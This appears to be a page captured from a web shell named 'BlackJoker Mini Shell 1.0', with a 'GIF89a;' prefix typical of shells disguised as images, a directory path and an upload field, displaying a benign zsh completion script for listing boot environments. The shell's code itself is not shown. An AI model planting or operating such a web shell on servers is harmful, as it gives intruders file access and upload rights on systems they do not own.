GIF89a; Mini Shell

Mini Shell

Direktori : /usr/share/zsh/5.0.2/functions/
Upload File :
Current File : //usr/share/zsh/5.0.2/functions/_be_name

#autoload

local -a type be_names
local name uuid activate mtpt space policy created snap

zparseopts -D -E -a type t+:

beadm list -H | while IFS=\; read name uuid active mtpt space policy created; do
	be_names=( $be_names $name )
done

if [[ -n $type[(r)all] ]]; then
	beadm list -sH | while IFS=\; read name snap space policy created; do
		be_names=( $be_names $snap )
	done
fi

compadd "$@" - $be_names

./BlackJoker Mini Shell 1.0